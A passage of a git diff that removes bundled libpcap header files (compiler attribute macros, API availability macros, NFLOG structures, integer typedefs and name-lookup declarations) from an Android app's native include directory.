LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE - * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE - * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL - * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS - * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT - * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY - * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF - * SUCH DAMAGE. - */ - -#ifndef lib_pcap_funcattrs_h -#define lib_pcap_funcattrs_h - -#include - -/* - * Attributes to apply to functions and their arguments, using various - * compiler-specific extensions. - */ - -/* - * PCAP_API_DEF must be used when defining *data* exported from - * libpcap. It can be used when defining *functions* exported - * from libpcap, but it doesn't have to be used there. It - * should not be used in declarations in headers. - * - * PCAP_API must be used when *declaring* data or functions - * exported from libpcap; PCAP_API_DEF won't work on all platforms. - */ - -#if defined(_WIN32) - /* - * For Windows: - * - * when building libpcap: - * - * if we're building it as a DLL, we have to declare API - * functions with __declspec(dllexport); - * - * if we're building it as a static library, we don't want - * to do so. - * - * when using libpcap: - * - * if we're using the DLL, calls to its functions are a - * little more efficient if they're declared with - * __declspec(dllimport); - * - * if we're not using the dll, we don't want to declare - * them that way. - * - * So: - * - * if pcap_EXPORTS is defined, we define PCAP_API_DEF as - * __declspec(dllexport); - * - * if PCAP_DLL is defined, we define PCAP_API_DEF as - * __declspec(dllimport); - * - * otherwise, we define PCAP_API_DEF as nothing. - */ - #if defined(pcap_EXPORTS) - /* - * We're compiling libpcap as a DLL, so we should export functions - * in our API. - */ - #define PCAP_API_DEF __declspec(dllexport) - #elif defined(PCAP_DLL) - /* - * We're using libpcap as a DLL, so the calls will be a little more - * efficient if we explicitly import the functions. - */ - #define PCAP_API_DEF __declspec(dllimport) - #else - /* - * Either we're building libpcap as a static library, or we're using - * it as a static library, or we don't know for certain that we're - * using it as a dynamic library, so neither import nor export the - * functions explicitly. - */ - #define PCAP_API_DEF - #endif -#else /* UN*X */ - #ifdef pcap_EXPORTS - /* - * We're compiling libpcap as a (dynamic) shared library, so we should - * export functions in our API. The compiler might be configured not - * to export functions from a shared library by default, so we might - * have to explicitly mark functions as exported. - */ - #if PCAP_IS_AT_LEAST_GNUC_VERSION(3,4) \ - || PCAP_IS_AT_LEAST_XL_C_VERSION(12,0) - /* - * GCC 3.4 and later, or some compiler asserting compatibility with - * GCC 3.4 and later, or XL C 13.0 and later, so we have - * __attribute__((visibility()). - */ - #define PCAP_API_DEF __attribute__((visibility("default"))) - #elif PCAP_IS_AT_LEAST_SUNC_VERSION(5,5) - /* - * Sun C 5.5 and later, so we have __global. - * (Sun C 5.9 and later also have __attribute__((visibility()), - * but there's no reason to prefer it with Sun C.) - */ - #define PCAP_API_DEF __global - #else - /* - * We don't have anything to say. - */ - #define PCAP_API_DEF - #endif - #else - /* - * We're not building libpcap. - */ - #define PCAP_API_DEF - #endif -#endif /* _WIN32/UN*X */ - -#define PCAP_API PCAP_API_DEF extern - -/* - * Definitions to 1) indicate what version of libpcap first had a given - * API and 2) allow upstream providers whose build environments allow - * APIs to be designated as "first available in this release" to do so - * by appropriately defining them. - * - * On macOS, Apple can tweak this to make various APIs "weakly exported - * symbols" to make it easier for software that's distributed in binary - * form and that uses libpcap to run on multiple macOS versions and use - * new APIs when available. (Yes, such third-party software exists - - * Wireshark provides binary packages for macOS, for example. tcpdump - * doesn't count, as that's provided by Apple, so each release can - * come with a version compiled to use the APIs present in that release.) - * - * We don't tweak it that way ourselves because, if you're building - * and installing libpcap on macOS yourself, the APIs will be available - * no matter what OS version you're installing it on. - * - * For other platforms, we don't define them, leaving it up to - * others to do so based on their OS versions, if appropriate. - * - * We start with libpcap 0.4, as that was the last LBL release, and - * I've never seen earlier releases. - */ -#ifdef __APPLE__ -/* - * Apple - insert #include here, and replace the two - * #defines below with: - * - * #define PCAP_API_AVAILABLE API_AVAILABLE - * - * and adjust availabilities as necessary, including adding information - * about operating systems other than macOS. - */ -#define PCAP_API_AVAILABLE(...) -#define PCAP_AVAILABLE_0_4 PCAP_API_AVAILABLE(macos(10.0)) -#define PCAP_AVAILABLE_0_5 PCAP_API_AVAILABLE(macos(10.0)) -#define PCAP_AVAILABLE_0_6 PCAP_API_AVAILABLE(macos(10.1)) -#define PCAP_AVAILABLE_0_7 PCAP_API_AVAILABLE(macos(10.4)) -#define PCAP_AVAILABLE_0_8 PCAP_API_AVAILABLE(macos(10.4)) -#define PCAP_AVAILABLE_0_9 PCAP_API_AVAILABLE(macos(10.5)) -#define PCAP_AVAILABLE_1_0 PCAP_API_AVAILABLE(macos(10.6)) -/* #define PCAP_AVAILABLE_1_1 no routines added to the API */ -#define PCAP_AVAILABLE_1_2 PCAP_API_AVAILABLE(macos(10.9)) -/* #define PCAP_AVAILABLE_1_3 no routines added to the API */ -/* #define PCAP_AVAILABLE_1_4 no routines added to the API */ -#define PCAP_AVAILABLE_1_5 PCAP_API_AVAILABLE(macos(10.10)) -/* #define PCAP_AVAILABLE_1_6 no routines added to the API */ -#define PCAP_AVAILABLE_1_7 PCAP_API_AVAILABLE(macos(10.12)) -#define PCAP_AVAILABLE_1_8 PCAP_API_AVAILABLE(macos(10.13)) -#define PCAP_AVAILABLE_1_9 PCAP_API_AVAILABLE(macos(10.13)) -/* - * The remote capture APIs are, in 1.9 and 1.10, usually only - * available in the library if the library was built with - * remote capture enabled. - * - * However, macOS Sonoma provides stub versions of those routine, - * which return an error. This means that we need a separate - * availability indicator macro for those routines, so that - * progras built on macOS Sonoma that attempt to use weak - * importing and availability tests to use those routines - * if they're available will get those routines weakly imported, - * so that if they're run on releases prior to Sonoma, they - * won't get an error from dyld about those routines being - * missing in libpcap. (If they don't use run-time availability - * tests, they will, instead, get crashes if they call one of - * those routines, as the addresses of those routines will be - * set to 0 by dyld, meaning the program will dereference a - * null pointer and crash when trying to call them.) - * - * (Not that it's useful to use those routines *anyway*, as they're - * stubs that always fail. The stubs were necessary in order to - * support weak exporting at all.) - */ -#define PCAP_AVAILABLE_1_9_REMOTE PCAP_API_AVAILABLE(macos(14.0)) -#define PCAP_AVAILABLE_1_10 PCAP_API_AVAILABLE(macos(12.1)) -#define PCAP_AVAILABLE_1_10_REMOTE PCAP_API_AVAILABLE(macos(14.0)) -#define PCAP_AVAILABLE_1_11 /* not released yet, so not in macOS yet */ -#else /* __APPLE__ */ -#define PCAP_AVAILABLE_0_4 -#define PCAP_AVAILABLE_0_5 -#define PCAP_AVAILABLE_0_6 -#define PCAP_AVAILABLE_0_7 -#define PCAP_AVAILABLE_0_8 -#define PCAP_AVAILABLE_0_9 -#define PCAP_AVAILABLE_1_0 -/* #define PCAP_AVAILABLE_1_1 no routines added to the API */ -#define PCAP_AVAILABLE_1_2 -/* #define PCAP_AVAILABLE_1_3 no routines added to the API */ -/* #define PCAP_AVAILABLE_1_4 no routines added to the API */ -#define PCAP_AVAILABLE_1_5 -/* #define PCAP_AVAILABLE_1_6 no routines added to the API */ -#define PCAP_AVAILABLE_1_7 -#define PCAP_AVAILABLE_1_8 -#define PCAP_AVAILABLE_1_9 -#define PCAP_AVAILABLE_1_9_REMOTE -#define PCAP_AVAILABLE_1_10 -#define PCAP_AVAILABLE_1_10_REMOTE -#define PCAP_AVAILABLE_1_11 -#endif /* __APPLE__ */ - -/* - * PCAP_NORETURN, before a function declaration, means "this function - * never returns". (It must go before the function declaration, e.g. - * "extern PCAP_NORETURN func(...)" rather than after the function - * declaration, as the MSVC version has to go before the declaration.) - * - * PCAP_NORETURN_DEF, before a function *definition*, means "this - * function never returns"; it would be used only for static functions - * that are defined before any use, and thus have no declaration. - * (MSVC doesn't support that; I guess the "decl" in "__declspec" - * means "declaration", and __declspec doesn't work with definitions.) - */ -#if __has_attribute(noreturn) \ - || PCAP_IS_AT_LEAST_GNUC_VERSION(2,5) \ - || PCAP_IS_AT_LEAST_SUNC_VERSION(5,9) \ - || PCAP_IS_AT_LEAST_XL_C_VERSION(7,0) \ - || PCAP_IS_AT_LEAST_HP_C_CXX_VERSION(6,10) \ - || __TINYC__ - /* - * Compiler with support for __attribute((noreturn)), or GCC 2.5 and - * later, or some compiler asserting compatibility with GCC 2.5 and - * later, or Solaris Studio 12 (Sun C 5.9) and later, or IBM XL C 7.0 - * and later (do any earlier versions of XL C support this?), or HP aCC - * A.06.10 and later, or current TinyCC. - */ - #define PCAP_NORETURN __attribute((noreturn)) - #define PCAP_NORETURN_DEF __attribute((noreturn)) -#elif defined(_MSC_VER) - /* - * MSVC. - */ - #define PCAP_NORETURN __declspec(noreturn) - #define PCAP_NORETURN_DEF -#else - #define PCAP_NORETURN - #define PCAP_NORETURN_DEF -#endif - -/* - * PCAP_PRINTFLIKE(x,y), after a function declaration, means "this function - * does printf-style formatting, with the xth argument being the format - * string and the yth argument being the first argument for the format - * string". - */ -#if __has_attribute(__format__) \ - || PCAP_IS_AT_LEAST_GNUC_VERSION(2,3) \ - || PCAP_IS_AT_LEAST_XL_C_VERSION(7,0) \ - || PCAP_IS_AT_LEAST_HP_C_CXX_VERSION(6,10) - /* - * Compiler with support for it, or GCC 2.3 and later, or some compiler - * asserting compatibility with GCC 2.3 and later, or IBM XL C 7.0 - * and later (do any earlier versions of XL C support this?), - * or HP aCC A.06.10 and later. - */ - #define PCAP_PRINTFLIKE(x,y) __attribute__((__format__(__printf__,x,y))) -#else - #define PCAP_PRINTFLIKE(x,y) -#endif - -/* - * PCAP_NONNULL(...), after a function declaration, means "the arguments - * whose ordinal numbers are listed are pointer arguments that must be - * non-null". - */ -#if __has_attribute(nonnull) \ - || PCAP_IS_AT_LEAST_GNUC_VERSION(3,3) \ - || PCAP_IS_AT_LEAST_XL_C_VERSION(10,1) - /* - * Compiler with support for it, or GCC 3.3 and later, or some compiler - * asserting compatibility with GCC 3.3 and later, or IBM XL C 10.1 - * and later (do any earlier versions of XL C support this?). - */ - #define PCAP_NONNULL(...) __attribute__((nonnull(__VA_ARGS__))) -#else - #define PCAP_NONNULL(...) -#endif - -/* - * PCAP_WARN_UNUSED_RESULT(...), after a function declaration, means - * "the return value of this function should always be used". - */ -#if __has_attribute(warn_unused_result) \ - || PCAP_IS_AT_LEAST_GNUC_VERSION(3,4) \ - || PCAP_IS_AT_LEAST_XL_C_VERSION(10,1) - /* - * Compiler with support for it, or GCC 3.4 and later, or some compiler - * asserting compatibility with GCC 3.4 and later, or IBM XL C 10.1 - * and later (do any earlier versions of XL C support this?). - */ - #define PCAP_WARN_UNUSED_RESULT __attribute__((warn_unused_result)) -#else - #define PCAP_WARN_UNUSED_RESULT -#endif - -/* - * PCAP_DEPRECATED(func, msg), after a function declaration, marks the - * function as deprecated. - * - * The argument is a string giving the warning message to use if the - * compiler supports that. - */ -#if __has_attribute(deprecated) \ - || PCAP_IS_AT_LEAST_GNUC_VERSION(4,5) \ - || PCAP_IS_AT_LEAST_SUNC_VERSION(5,13) - /* - * Compiler that supports __has_attribute and __attribute__((deprecated)), - * or GCC 4.5 and later, or Sun/Oracle C 12.4 (Sun C 5.13) and later. - * - * Those support __attribute__((deprecated(msg))) (we assume, perhaps - * incorrectly, that anything that supports __has_attribute() is - * recent enough to support __attribute__((deprecated(msg)))). - */ - #define PCAP_DEPRECATED(msg) __attribute__((deprecated(msg))) -#elif PCAP_IS_AT_LEAST_GNUC_VERSION(3,1) - /* - * GCC 3.1 through 4.4. - * - * Those support __attribute__((deprecated)) but not - * __attribute__((deprecated(msg))). - */ - #define PCAP_DEPRECATED(msg) __attribute__((deprecated)) -#elif defined(_MSC_VER) && !defined(BUILDING_PCAP) - /* - * MSVC, and we're not building libpcap itself; it's VS 2015 - * and later, so we have __declspec(deprecated(...)). - * - * If we *are* building libpcap, we don't want this, as it'll warn - * us even if we *define* the function. - */ - #define PCAP_DEPRECATED(msg) _declspec(deprecated(msg)) -#else - #define PCAP_DEPRECATED(msg) -#endif - -/* - * For flagging arguments as format strings in MSVC. - */ -#ifdef _MSC_VER - #include - #define PCAP_FORMAT_STRING(p) _Printf_format_string_ p -#else - #define PCAP_FORMAT_STRING(p) p -#endif - -#endif /* lib_pcap_funcattrs_h */ diff --git a/android/app/src/main/cpp/include/ipnet.h b/android/app/src/main/cpp/include/ipnet.h deleted file mode 100644 index 345ab58..0000000 --- a/android/app/src/main/cpp/include/ipnet.h +++ /dev/null @@ -1,39 +0,0 @@ -/*- - * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997 - * The Regents of the University of California. All rights reserved. - * - * This code is derived from the Stanford/CMU enet packet filter, - * (net/enet.c) distributed as part of 4.3BSD, and code contributed - * to Berkeley by Steven McCanne and Van Jacobson both of Lawrence - * Berkeley Laboratory. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. Neither the name of the University nor the names of its contributors - * may be used to endorse or promote products derived from this software - * without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND - * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE - * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE - * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL - * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS - * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT - * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY - * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF - * SUCH DAMAGE. - */ - -#define IPH_AF_INET 2 /* Matches Solaris's AF_INET */ -#define IPH_AF_INET6 26 /* Matches Solaris's AF_INET6 */ - -#define IPNET_OUTBOUND 1 -#define IPNET_INBOUND 2 diff --git a/android/app/src/main/cpp/include/namedb.h b/android/app/src/main/cpp/include/namedb.h deleted file mode 100644 index 7c0322b..0000000 --- a/android/app/src/main/cpp/include/namedb.h +++ /dev/null @@ -1,114 +0,0 @@ -/* - * Copyright (c) 1994, 1996 - * The Regents of the University of California. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. All advertising materials mentioning features or use of this software - * must display the following acknowledgement: - * This product includes software developed by the Computer Systems - * Engineering Group at Lawrence Berkeley Laboratory. - * 4. Neither the name of the University nor of the Laboratory may be used - * to endorse or promote products derived from this software without - * specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND - * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE - * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE - * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL - * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS - * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT - * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY - * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF - * SUCH DAMAGE. - */ - -#ifndef lib_pcap_namedb_h -#define lib_pcap_namedb_h - -#include /* FILE */ - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * As returned by the pcap_next_etherent() - * XXX this stuff doesn't belong in this interface, but this - * library already must do name to address translation, so - * on systems that don't have support for /etc/ethers, we - * export these hooks since they're already being used by - * some applications (such as tcpdump) and already being - * marked as exported in some OSes offering libpcap (such - * as Debian). - */ -struct pcap_etherent { - u_char addr[6]; - char name[122]; -}; -#ifndef PCAP_ETHERS_FILE - #ifdef __HAIKU__ - #define PCAP_ETHERS_FILE "/boot/system/settings/network/ethers" - #else - #define PCAP_ETHERS_FILE "/etc/ethers" - #endif -#endif - -PCAP_AVAILABLE_0_4 -PCAP_API struct pcap_etherent *pcap_next_etherent(FILE *); - -PCAP_AVAILABLE_0_4 -PCAP_API u_char *pcap_ether_hostton(const char*); - -PCAP_AVAILABLE_0_4 -PCAP_API u_char *pcap_ether_aton(const char *); - -PCAP_AVAILABLE_0_4 -PCAP_API -PCAP_DEPRECATED("this is not reentrant; use 'pcap_nametoaddrinfo' instead") -bpf_u_int32 **pcap_nametoaddr(const char *); - -PCAP_AVAILABLE_0_7 -PCAP_API struct addrinfo *pcap_nametoaddrinfo(const char *); - -PCAP_AVAILABLE_0_4 -PCAP_API bpf_u_int32 pcap_nametonetaddr(const char *); - -PCAP_AVAILABLE_0_4 -PCAP_API int pcap_nametoport(const char *, int *, int *); - -PCAP_AVAILABLE_0_9 -PCAP_API int pcap_nametoportrange(const char *, int *, int *, int *); - -PCAP_AVAILABLE_0_4 -PCAP_API int pcap_nametoproto(const char *); - -PCAP_AVAILABLE_0_4 -PCAP_API int pcap_nametoeproto(const char *); - -PCAP_AVAILABLE_0_9 -PCAP_API int pcap_nametollc(const char *); - -/* - * If a protocol is unknown, PROTO_UNDEF is returned. - * Also, pcap_nametoport() returns the protocol along with the port number. - * If there are ambiguous entries in /etc/services (i.e. domain - * can be either tcp or udp) PROTO_UNDEF is returned. - */ -#define PROTO_UNDEF -1 - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/android/app/src/main/cpp/include/nflog.h b/android/app/src/main/cpp/include/nflog.h deleted file mode 100644 index 919c88d..0000000 --- a/android/app/src/main/cpp/include/nflog.h +++ /dev/null @@ -1,94 +0,0 @@ -/* - * Copyright (c) 2013, Petar Alilovic, - * Faculty of Electrical Engineering and Computing, University of Zagreb - * All rights reserved - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions are met: - * - * * Redistributions of source code must retain the above copyright notice, - * this list of conditions and the following disclaimer. - * * Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND ANY - * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED - * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE - * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR ANY - * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES - * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR - * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER - * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT - * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY - * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH - * DAMAGE. - */ - -#ifndef lib_pcap_nflog_h -#define lib_pcap_nflog_h - -#include - -/* - * Structure of an NFLOG header and TLV parts, as described at - * https://www.tcpdump.org/linktypes/LINKTYPE_NFLOG.html - * - * The NFLOG header is big-endian. - * - * The TLV length and type are in host byte order. The value is either - * big-endian or is an array of bytes in some externally-specified byte - * order (text string, link-layer address, link-layer header, packet - * data, etc.). - */ -typedef struct nflog_hdr { - uint8_t nflog_family; /* address family */ - uint8_t nflog_version; /* version */ - uint16_t nflog_rid; /* resource ID */ -} nflog_hdr_t; - -typedef struct nflog_tlv { - uint16_t tlv_length; /* tlv length */ - uint16_t tlv_type; /* tlv type */ - /* value follows this */ -} nflog_tlv_t; - -typedef struct nflog_packet_hdr { - uint16_t hw_protocol; /* hw protocol */ - uint8_t hook; /* netfilter hook */ - uint8_t pad; /* padding to 32 bits */ -} nflog_packet_hdr_t; - -typedef struct nflog_hwaddr { - uint16_t hw_addrlen; /* address length */ - uint16_t pad; /* padding to 32-bit boundary */ - uint8_t hw_addr[8]; /* address, up to 8 bytes */ -} nflog_hwaddr_t; - -typedef struct nflog_timestamp { - uint64_t sec; - uint64_t usec; -} nflog_timestamp_t; - -/* - * TLV types. - */ -#define NFULA_PACKET_HDR 1 /* nflog_packet_hdr_t */ -#define NFULA_MARK 2 /* packet mark from skbuff */ -#define NFULA_TIMESTAMP 3 /* nflog_timestamp_t for skbuff's time stamp */ -#define NFULA_IFINDEX_INDEV 4 /* ifindex of device on which packet received (possibly bridge group) */ -#define NFULA_IFINDEX_OUTDEV 5 /* ifindex of device on which packet transmitted (possibly bridge group) */ -#define NFULA_IFINDEX_PHYSINDEV 6 /* ifindex of physical device on which packet received (not bridge group) */ -#define NFULA_IFINDEX_PHYSOUTDEV 7 /* ifindex of physical device on which packet transmitted (not bridge group) */ -#define NFULA_HWADDR 8 /* nflog_hwaddr_t for hardware address */ -#define NFULA_PAYLOAD 9 /* packet payload */ -#define NFULA_PREFIX 10 /* text string - null-terminated, count includes NUL */ -#define NFULA_UID 11 /* UID owning socket on which packet was sent/received */ -#define NFULA_SEQ 12 /* sequence number of packets on this NFLOG socket */ -#define NFULA_SEQ_GLOBAL 13 /* sequence number of packets on all NFLOG sockets */ -#define NFULA_GID 14 /* GID owning socket on which packet was sent/received */ -#define NFULA_HWTYPE 15 /* ARPHRD_ type of skbuff's device */ -#define NFULA_HWHEADER 16 /* skbuff's MAC-layer header */ -#define NFULA_HWLEN 17 /* length of skbuff's MAC-layer header */ - -#endif diff --git a/android/app/src/main/cpp/include/pcap-inttypes.h b/android/app/src/main/cpp/include/pcap-inttypes.h deleted file mode 100644 index e698353..0000000 --- a/android/app/src/main/cpp/include/pcap-inttypes.h +++ /dev/null @@ -1,98 +0,0 @@ -/* - * Copyright (c) 2002 - 2005 NetGroup, Politecnico di Torino (Italy) - * Copyright (c) 2005 - 2009 CACE Technologies, Inc. Davis (California) - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. Neither the name of the Politecnico di Torino nor the names of its - * contributors may be used to endorse or promote products derived from - * this software without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT - * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR - * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT - * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, - * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT - * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE - * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ -#ifndef pcap_pcap_inttypes_h -#define pcap_pcap_inttypes_h - -/* - * If we're compiling with Visual Studio, make sure the C99 integer - * types are defined, by hook or by crook. - * - * XXX - verify that we have at least C99 support on UN*Xes? - * - * What about MinGW? We're currently assuming - * sufficient C99 support there. - */ -#if defined(_MSC_VER) - /* - * Compiler is MSVC. - */ - #if _MSC_VER >= 1800 - /* - * VS 2013 or newer; we have . - */ - #include - #else - /* - * Earlier VS; we have to define this stuff ourselves. - * We don't support building libpcap with earlier versions of VS, - * but SDKs for Npcap have to support building applications using - * earlier versions of VS, so we work around this by defining - * those types ourselves, as some files use them. - */ - typedef unsigned char uint8_t; - typedef signed char int8_t; - typedef unsigned short uint16_t; - typedef signed short int16_t; - typedef unsigned int uint32_t; - typedef signed int int32_t; - #ifdef _MSC_EXTENSIONS - typedef unsigned _int64 uint64_t; - typedef _int64 int64_t; - #else /* _MSC_EXTENSIONS */ - typedef unsigned long long uint64_t; - typedef long long int64_t; - #endif - #endif -#else /* defined(_MSC_VER) */ - /* - * Not Visual Studio. - * Include to get the integer types and PRI[doux]64 values - * defined. - * - * If the compiler is MinGW, we assume we have - and - * support for %zu in the formatted printing functions. - * - * If the target is UN*X, we assume we have a C99-or-later development - * environment, and thus have - and support for %zu in - * the formatted printing functions. - * - * I.e., assume we have and that it suffices. - */ - - /* - * XXX - somehow make sure we have enough C99 support with other - * compilers and support libraries? - */ - - #include -#endif /* defined(_MSC_VER) */ - -#endif /* pcap/pcap-inttypes.h */ diff --git a/android/app/src/main/cpp/include/pcap.h b/android/app/src/main/cpp/include/pcap.h deleted file mode 100644 index a023fde..0000000 --- a/android/app/src/main/cpp/include/pcap.h +++ /dev/null @@ -1,1313 +0,0 @@ -/* -*- Mode: c; tab-width: 8; indent-tabs-mode: 1; c-basic-offset: 8; -*- */ -/* - * Copyright (c) 1993, 1994, 1995, 1996, 1997 - * The Regents of the University of California. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. All advertising materials mentioning features or use of this software - * must display the following acknowledgement: - * This product includes software developed by the Computer Systems - * Engineering Group at Lawrence Berkeley Laboratory. - * 4. Neither the name of the University nor of the Laboratory may be used - * to endorse or promote products derived from this software without - * specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND - * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE - * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE - * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL - * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS - * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT - * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY - * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF - * SUCH DAMAGE. - */ - -/* - * Remote packet capture mechanisms and extensions from WinPcap: - * - * Copyright (c) 2002 - 2003 - * NetGroup, Politecnico di Torino (Italy) - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. Neither the name of the Politecnico di Torino nor the names of its - * contributors may be used to endorse or promote products derived from - * this software without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT - * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR - * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT - * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, - * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT - * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; 